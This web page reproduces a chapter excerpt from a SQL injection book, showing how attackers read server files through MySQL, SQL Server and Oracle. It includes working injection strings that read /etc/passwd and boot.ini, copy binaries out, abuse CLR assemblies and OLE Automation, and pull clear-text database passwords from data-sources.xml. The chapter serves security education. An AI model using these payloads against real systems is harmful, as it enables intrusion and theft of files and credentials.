programming4us
           
 
 
SQL Server

SQL Injection Attacks and Defense : Accessing the File System (part 1) - Reading Files

- Free product key for windows 10
- Free Product Key for Microsoft office 365
- Malwarebytes Premium 3.7.1 Serial Keys (LifeTime) 2019
7/3/2011 3:33:24 PM
Accessing the file system of the host running the database management system (DBMS) holds several promises for the potential attacker. In some cases, this is a precursor to attacking the operating system (e.g., finding stored credentials on the machine); in other cases, it could simply be an attempt to bypass the authorization efforts of the database itself (e.g., MySQL traditionally stored its database files in ASCII text on the file system, allowing a file-read attack to read database contents sans the DBMS authorization levels).

Reading Files

The ability to read arbitrary files on the host running the DBMS offers interesting possibilities for the imaginative attacker. The question of “what files to read?” is an old one that attackers have been asking for a long time. The answer obviously depends largely on the attacker's objectives. In some cases the goal may be theft of documents or binaries from the host, whereas in other cases the attacker may be hoping to find credentials of some sort to further his attack. Regardless of the goal, the attacker wants to be able to read both ASCII text and binary files somehow.

An obvious question that naturally follows is how the attacker is able to view these files, assuming he is able to coerce the DBMS into reading it. Although in this article we will examine a few of the answers to these questions. Simply put, the goal of this subsection is to understand how an attacker can view the contents of the target file system as part of an SQL query. Actually extruding the data is a different problem to be solved.

MySQL

MySQL provides the well-abused functionality of allowing a text file to be read into the database through its LOAD DATA INFILE and LOAD_FILE commands. According to the current MySQL reference manual, “The LOAD DATA INFILE statement reads rows from a text file into a table at a very high speed. The filename must be given as a literal string.”

Let's examine the use of the LOAD DATA INFILE command as it was intended to be used.

We'll start by creating a simple text file called users.txt:

cat users.txt
haroon meer [email protected] 1
Dafydd Stuttard [email protected] 1
Dave Hartley [email protected] 1
Rodrigo Marcos [email protected] 1
Gary Oleary-Steele [email protected] 1
Joe Hemler [email protected] 1
Marco Slaviero [email protected] 1
Alberto Revelli [email protected] 1
Alexander Kornbrust [email protected] 1
Justin Clarke [email protected] 1

Then we'll run the following command within the MySQL console to create a table to house the author details:

mysql> create table authors (fname char(50), sname char(50), email
char(100), flag int);
Query OK, 0 rows affected (0.01 sec)

With the table ready to accept the text file, we'll populate the table with the following command:

mysql> load data infile '/tmp/users.txt' into table authors fields
terminated by ' ';
Query OK, 10 rows affected (0.00 sec)
Records: 10 Deleted: 0 Skipped: 0 Warnings: 0

A quick select on the authors table reveals that the text file has been perfectly imported into the database:

mysql> select * from authors;
+-----------+---------------+------------------------------+------+
| fname | sname | email | flag |
+-----------+---------------+------------------------------+------+
| haroon | meer | [email protected] | 1 |
| Dafydd | Stuttard | [email protected] | 1 |
| Dave | Hartley | [email protected] | 1 |
| Rodrigo | Marcos | [email protected] | 1 |
| Gary | Oleary-Steele | [email protected] | 1 |
| Joe | Hemler | [email protected] | 1 |
| Marco | Slaviero | [email protected] | 1 |
| Alberto | Revelli | [email protected] | 1 |
| Alexander | Kornbrust | [email protected] | 1 |
| Justin | Clarke | [email protected] | 1 |
+-----------+---------------+------------------------------+------+
10 rows in set (0.00 sec)

For easier hacking fun, MySQL also provides the LOAD_FILE function, which allows you to avoid first creating a table, and goes straight to delivering the results:

mysql> select LOAD_FILE('/tmp/test.txt');
+--------------------------------------------------------------------------+
| LOAD_FILE('/tmp/test.txt') |
+--------------------------------------------------------------------------+
| This is an arbitrary file residing somewhere on the filesystem
It can be multi-line
and it does not really matter how many lines are in it… |
+-------------------------------------------------------------------------+
1 row in set (0.00 sec)


Now, since the focus of this book is SQL injection, it would probably make sense to observe this within an injected SQL statement. To test this, consider the fictitious and vulnerable intranet site (shown in Figure 1) that allows a user to search for customers.

Figure 1. Sample Vulnerable Intranet Application

The site is vulnerable to injection, and since it returns output directly to your browser it is a prime candidate for a union statement. For purposes of illustration, this site also displays the actual generated SQL query as a DEBUG message. The results of a simple search for “a” appear in Figure 2.

Figure 2. Searching for “a”

Now we'll consider the LOAD_FILE syntax we examined earlier. We'll try to use the union operator to read the world-readable /etc/passwd file, using the following code:

' union select LOAD_FILE('/etc/passwd')#

This returns the familiar error message regarding the union operator requiring an even number of columns in both queries:

DBD::mysql::st execute failed: The used SELECT statements have a
different number of columns at…

By adding a second column to the unionized query, we effectively obtain joy by submitting the following:

' union select NULL,LOAD_FILE('/etc/passwd')#

This behaves as we had hoped, and as Figure 3 shows, the server returns all the users in the database, along with the contents of the file we requested.

Figure 3. Reading /etc/passwd through the Database

Keep in mind that accessing the file system this way requires that the database user have File privileges and that the file being read has world-readable permissions. The syntax of the LOAD_FILE command necessitates that the attacker use the single-quote character (‘), which sometimes poses a problem due to possible malicious character filtering within the application. Chris Anley of NGS Software pointed out in his paper “HackProofing MySQL” that MySQL's ability to treat HEX-encoded strings as a substitute for string literals means that the following two statements are equivalent:

select 'c:/boot.ini'
select 0x633a2f626f6f742e696e69

The LOAD_FILE function also handles binary files transparently, which means that with a little bit of finesse we can use the function to read binary files from the remote host easily:

mysql> create table foo (line blob);
Query OK, 0 rows affected (0.01 sec)
mysql> insert into foo set line=load_file('/tmp/temp.bin');
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo;
+--------+
| line |
+--------+
| AA??A |
+--------+
1 row in set (0.00 sec)

Of course, the binary data is not viewable, making it unusable to us, but MySQL comes to the rescue with its built-in HEX( ) function:

mysql> select HEX(line) from foo;
+--------------+
| HEX(line) |
+--------------+
| 414190904112 |
+--------------+
1 row in set (0.00 sec)

Wrapping the LOAD_FILE command in the HEX( ) function also works, allowing us to use the vulnerable intranet application to now read binary files on the remote file system:

' union select NULL,HEX(LOAD_FILE('/tmp/temp.bin'))#

The results of this query appear in Figure 4.

Figure 4. Reading Binary Files

You can use the substring function to split this, effectively obtaining chunks of the binary file at a time to overcome limitations that the application might impose.

LOAD_FILE( ) also accepts Universal Naming Convention (UNC) paths, which allows an enterprising attacker to search for files on other machines, or even to cause the MySQL server to connect back to his own machine:

mysql> select load_file('//172.16.125.2/temp_smb/test.txt');
+-------------------------------------------------------------+
| load_file('//172.16.125.2/temp_smb/test.txt') |
+-------------------------------------------------------------+
| This is a file on a server far far away.. |
+-------------------------------------------------------------+
1 row in set (0.52 sec)

The sqlmap tool by Bernardo Damele A. G. (http://sqlmap.sourceforge.net) offers this functionality through the --read-file command-line option:

python sqlmap.py -u "http://intranet/cgi-bin/customer.pl?Submit=Submit&term=a"
--read-file /etc/passwd


Microsoft SQL Server

Microsoft SQL Server is one of the flagship products of the Microsoft Security Development Lifecycle (SDL) process, but it still has a well-deserved bad rap with regard to SQL injection attacks. This is due in part to its popularity among first-time developers (a testimony to how Microsoft enables its developers) and in part to the fact that the Microsoft SQL Server allows for stacked queries. This exponentially increases the options available to a potential attacker, which can be evidenced by the repercussions of an injection against an SQL Server box. SensePost alone has built tool sets that will convert an injection point into full-blown domain name system (DNS) tunnels, remote file servers, and even Transmission Control Protocol (TCP) connect proxies.

Let's begin at the beginning, and try to use a vulnerable Web application to read a file from the remote SQL server. In this case, usually the first function an attacker who has managed to obtain system administrator privileges finesses is the BULK INSERT statement.

A quick test through Microsoft's SQL Query Analyzer (shown in Figure 5) demonstrates the use of BULK INSERT by way of example.

Figure 5. A BULK INSERT inside SQL Query Analyzer

The ability of the relational database management system (RDBMS) to handle files such as this, along with the ability to handle batched or stacked queries, should make it fairly obvious how an attacker can leverage this through his browser. Let's take one more look at a simple search application written in ASP with a Microsoft SQL Server back end. Figure 6 shows the results of a search on the application for “%”. As you should expect (by now), this returns all of the users on the system.

Figure 6. A Sample Intranet Application (with a Microsoft SQL Server Back End)

Once the attacker has determined that the sname field is vulnerable to injection, he can quickly determine his running privilege level by injecting a union query to select user_name( ), user, or loginame:

http://intranet/admin/staff.asp?sname=' union select NULL,NULL,NULL,loginame
FROM master..sysprocesses WHERE spid = @@SPID--


This results in Figure 7.

Figure 7. Confirming the Injection

With this information he moves on, effectively replicating the commands he executed within the Query Analyzer program through the browser, leaving the following odd-looking query:

http://intranet/admin/staff.asp?sname='; create table hacked(line varchar(8000));
bulk insert hacked from 'c:\boot.ini';--


This allows the attacker to run a subsequent query to obtain the results of this newly created table (displayed in Figure 8).

Figure 8. Reading a File through Microsoft SQL Server

By setting CODEPAGE=‘RAW’ when doing a BULK INSERT an attacker can even upload binary files into SQL Server, which he can rebuild after extracting it through the application. SensePost's Squeeza tool automates this process through the use of its !copy mode, enabling an attacker to perform the bulk insert in a temporary table in the background, and then use the communication mechanism of choice (DNS, error messages, timing) to extract the information before rebuilding the file on his machine. You can test this by picking an arbitrary binary file on the remote machine (c:\winnt\system32\net.exe) and obtaining its MD5 hash value. Figure 9 shows the hash value obtained for the system's net.exe binary.

Figure 9. An MD5 Hash of net.exe

Using a squeeza.config file that is aimed at our target application, let's fetch two files: the remote server's boot.ini and the binary c:\winnt\system32\net.exe. Figure 10 displays the rather terse output from Squeeza.

Figure 10. Copying a Binary from the Remote Server


If all went well, we should be able to read the contents of the stolen-boot.ini and compare the checksum on the stolen-net.exe:

[haroon@hydra squeeza]$ cat stolen-boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000
Server" /fastdetect
[haroon@hydra squeeza]$ md5sum stolen-net.exe
8f9f01a95318fc4d5a40d4a6534fa76b stolen-net.exe

(You can compare the MD5 values to prove that the file transfer worked perfectly, albeit painfully slowly depending on the !channel you chose.)

In the absence of the bulk insert method, an attacker can accomplish file manipulation on SQL Server through the use of OLE Automation, a technique discussed in Chris Anley's paper, “Advanced SQL Injection.” In Anley's example, he first used the wscript.shell object to launch an instance of Notepad on the remote server:

-- wscript.shell example (Chris Anley – [email protected])
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Of course, this opens the opportunity for an attacker to use any ActiveX control, which creates a wealth of attacking opportunities. The file system object provides an attacker with a relatively simple method to read files in the absence of bulk insert. Figure 11 shows the (ab)use of the Scripting.FileSystemObject within SQL Query Analyzer.

Figure 11. Browsing the File System Using scripting.filesystemobject

Using the same technique, it is then possible to get SQL Server to spawn browser instances, which adds a new twist to the chain with ever more complications and attack vectors. It is not impossible to imagine an attack in which the attacker exploits a vulnerability in a browser by first using SQL injection to force the server's browser to surf to a malicious page.

SQL Server 2005 introduced a wealth of new “features” that are attack-worthy, and probably one of the biggest is the introduction of the Microsoft Common Language Runtime (CLR) within SQL Server. This allows a developer to integrate .NET binaries into the database trivially, and for an enterprising attacker it opens up a wealth of opportunities. From MSDN:

“Microsoft SQL Server 2005 significantly enhances the database programming model by hosting the Microsoft .NET Framework 2.0 Common Language Runtime (CLR). This enables developers to write procedures, triggers, and functions in any of the CLR languages, particularly Microsoft Visual C# .NET, Microsoft Visual Basic .NET, and Microsoft Visual C++. This also allows developers to extend the database with new types and aggregates.”[1]

We will get into the meat of this CLR integration later, but for now our focus is simply on abusing the remote system to read in files. This becomes possible through one of the methods used to import assemblies into SQL Server. The first problem we need to overcome is that SQL Server 2005 disables CLR integration by default. As Figure 12 shows, this proves to be no problem once you have system administrator or equivalent privileges, since you can turn on all of this functionality again through the sp_configure stored procedure.

Figure 12. Enabling CLR Integration


Of course (as you can see in Figure 13), it's just as easy to adapt all of these to run through our injection string.

Figure 13. Enabling CLR Integration through an Application

This positions us to load any .NET binary from the remote server into the database by using the CREATE ASSEMBLY function.

We'll load the .NET assembly c:\temp\test.exe with the following injection string:

sname=';create assembly sqb from 'c:\temp\test.exe' with permission_set =
unsafe--

SQL Server stores the raw binary (as a HEX string) in the sys.assembly_files table. As shown in Figure 14, you can view this easily within Query Analyzer.

Figure 14. Viewing the Attached File within the Database

Viewing this file through our Web page requires that we combine the substring( ) and master.dbo.fn_varbintohexstr() functions:

sname=' union select NULL,NULL,NULL, master.dbo.fn_varbintohexstr
(substring(content,1,5)) from sys.assembly_files--

Figure 15 shows how you can use the union, substring, and fn_varbintohexstr combination to read binary files through the browser.

Figure 15. Reading Binary Files Using fn_varbintohexstr and substring

SQL Server verifies the binary or assembly at load time (and at runtime) to ensure that the assembly is a valid .NET assembly. This prevents us from using the CREATE ASSEMBLY directive to place non-CLR binaries into the database:

CREATE ASSEMBLY sqb2 from 'c:\temp\test.txt'

The preceding line of code results in the following:

CREATE ASSEMBLY for assembly 'sqb2' failed because assembly 'sqb2' is
malformed or not a pure .NET assembly.
Unverifiable PE Header/native stub.

Fortunately, we can bypass this restriction with a little bit of finesse. First we'll load a valid .NET binary, and then use the ALTER ASSEMBLY command to add additional files to the ASSEMBLY. At the time of this writing, the additional files are inserted into the database with no type checking, allowing us to link arbitrary binary files (or plain-text ASCII ones) to the original assembly.

create assembly sqb from 'c:\temp\test.exe'
alter assembly sqb add file from 'c:\windows\system32\net.exe'
alter assembly sqb add file from 'c:\temp\test.txt'

A select on the sys.assembly_files table reveals that the files have been added and can be retrieved using the same substring/varbintohexstr technique.

Adding assemblies to the system catalog is normally allowed only for members of the SYSADMIN group (and database owners). The first step toward utilizing these techniques will be to elevate to the system administrator privilege level.

Oracle

Oracle offers various possibilities to read files from the underlying operating system. Most of them require the ability to run PL/SQL code. There are three different (known) interfaces to access files:

  • utl_file_dir/Oracle directories

  • Java

  • Oracle Text

By default, an unprivileged user cannot read (or write) files at the operating system level. With the right privileges this will be an easy job.

Using utl_file_dir and Oracle directories is the most common way to access files. The utl_file_dir database parameter (deprecated since Oracle 9i Rel. 2) allows you to specify a directory on an operating system level. Any database user can read/write/copy files inside this directory (check: select name,value from v$parameter where name=‘UTL_FILE_DIR’). If the value of utl_file_dir is *, there are no limitations regarding where the database process can write. Older unpatched versions of Oracle had directory traversal problems which made this considerably easier.

The following methods allow you to read files from the Oracle database using utl_file_dir/Oracle directories:

  • utl_file (PL/SQL, Oracle 8 through 11g)

  • DBMS_LOB (PL/SQL, Oracle 8 through 11g)

  • External tables (SQL, Oracle 9i Rel. 2 through 11g)

  • XMLType (SQL, Oracle 9i Rel. 2 through 11g)

The following sample PL/SQL code reads 1,000 bytes, beginning at byte 1, from the rds.txt file. This file is located in the MEDIA_DIR directory.

DECLARE
buf varchar2(4096);
BEGIN
Lob_loc:= BFILENAME('MEDIA_DIR', 'rds.txt');
DBMS_LOB.OPEN (Lob_loc, DBMS_LOB.LOB_READONLY);
DBMS_LOB.READ (Lob_loc, 1000, 1, buf);
dbms_output.put_line(utl_raw.cast_to_varchar2(buf));
DBMS_LOB.CLOSE (Lob_loc);
END;

Since Oracle 9i Rel. 2, Oracle offers the ability to read files via external tables. Oracle uses the SQL*Loader or Oracle Datapump (since 10g) to read data from a structured file. If an SQL injection vulnerability exists in a CREATE TABLE statement, it's possible to modify the normal table to an external table.

Here is the sample code for an external table:

create directory ext as 'C:\';
CREATE TABLE ext_tab (
line varchar2(256))
ORGANIZATION EXTERNAL (
TYPE oracle_loader
DEFAULT DIRECTORY ext
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
BADFILE 'bad_data.bad'
LOGFILE 'log_data.log'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL
REJECT ROWS WITH ALL NULL FIELDS
(line))
LOCATION ('victim.txt')
)
PARALLEL
REJECT LIMIT 0
NOMONITORING;
Select * from ext_tab;

The next code snippet reads the username, clear-text password, and connect string from the data-sources.xml file. This is a default file (in Oracle 11g) and it contains a connect string for Java. The big advantage of this code is the fact that you can use it inside select statements in a function or as a UNION SELECT.

select
extractvalue(value(c), '/connection-factory/@user')||'/'||extractvalue(value(c),
'/connection-factory/@password')||'@'||substr(extractvalue(value(c),
'/connection-factory/@url'),instr(extractvalue(value(c),
'/connection-factory/@url'),'//')+2) conn
FROM table(
XMLSequence(
extract(
xmltype(
bfilename('GETPWDIR', 'data-sources.xml'),
nls_charset_id('WE8ISO8859P1')
),
'/data-sources/connection-pool/connection-factory'
)
)
) c
/


Instead of using the utl_file_dir/Oracle directory concept, it is also possible to read and write files using Java. You can find sample code for this approach on Marco Ivaldis's Web site, at www.0xdeadbeef.info/exploits/raptor_oraexec.sql.

A widely unknown technique for reading files and URIs is Oracle Text. This feature does not require Java or utl_file_dir/Oracle directories. Just insert the file or URL you want to read into a table, and create a full text index or wait until the full text index is created. The index contains the contents of the entire file.

The following sample code shows how to read the boot.ini file by inserting it into a table:

CREATE TABLE files (
id NUMBER PRIMARY KEY,
path VARCHAR(255) UNIQUE,
ot_format VARCHAR(6)
);
INSERT INTO files VALUES (1, 'c:\boot.ini', NULL);
CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS ('datastore ctxsys.file_datastore format column ot_format');
-- retrieve data from the fulltext index
Select token_text from dr$file_index$i;
Other -----------------
- SQL Server 2008 Scheduling and Notification : Managing Jobs
- SQL Server 2008 Scheduling and Notification : Managing Operators
- SQL Server 2008 Scheduling and Notification : Configuring the SQL Server Agent
- SQL Server 2008 : Database Mail - Related Views and Procedures
- SQL Server 2008 : Database Mail - Using SQL Server Agent Mail
- SQL Server 2008 : Sending and Receiving with Database Mail
- SQL Server 2008 : Setting Up Database Mail
- SQL Server 2008 : Security and Compliance - Setting Up Auditing via T-SQL & SQL Injection Is Easy to Do
- SQL Server 2008 : Security and Compliance - SQL Server Auditing
- SQL Server 2008 : Security and Compliance
- SQL Server 2008 : Transparent Data Encryption
- SQL Server 2008 : Data Encryption - Column-Level Encryption
- SQL Server 2008 : Data Encryption - SQL Server Key Management
- SQL Server 2008 : Data Encryption
- SQL Server 2008 : Client Data Access Technologies
- SQL Server 2008 : Client Configuration
- SQL Server 2008 R2 : Client Installation
- SQL Server 2008 R2 : Client and Server Networking Considerations
- Upgrading to SQL Server 2008 : Upgrading Other SQL Server Components
- Upgrading to SQL Server 2008 : Slipstreaming Upgrades
 
 
 
Top 10
 
- Microsoft Visio 2013 : Adding Structure to Your Diagrams - Finding containers and lists in Visio (part 2) - Wireframes,Legends
- Microsoft Visio 2013 : Adding Structure to Your Diagrams - Finding containers and lists in Visio (part 1) - Swimlanes
- Microsoft Visio 2013 : Adding Structure to Your Diagrams - Formatting and sizing lists
- Microsoft Visio 2013 : Adding Structure to Your Diagrams - Adding shapes to lists
- Microsoft Visio 2013 : Adding Structure to Your Diagrams - Sizing containers
- Microsoft Access 2010 : Control Properties and Why to Use Them (part 3) - The Other Properties of a Control
- Microsoft Access 2010 : Control Properties and Why to Use Them (part 2) - The Data Properties of a Control
- Microsoft Access 2010 : Control Properties and Why to Use Them (part 1) - The Format Properties of a Control
- Microsoft Access 2010 : Form Properties and Why Should You Use Them - Working with the Properties Window
- Microsoft Visio 2013 : Using the Organization Chart Wizard with new data
- First look: Apple Watch

- 3 Tips for Maintaining Your Cell Phone Battery (part 1)

- 3 Tips for Maintaining Your Cell Phone Battery (part 2)
programming4us programming4us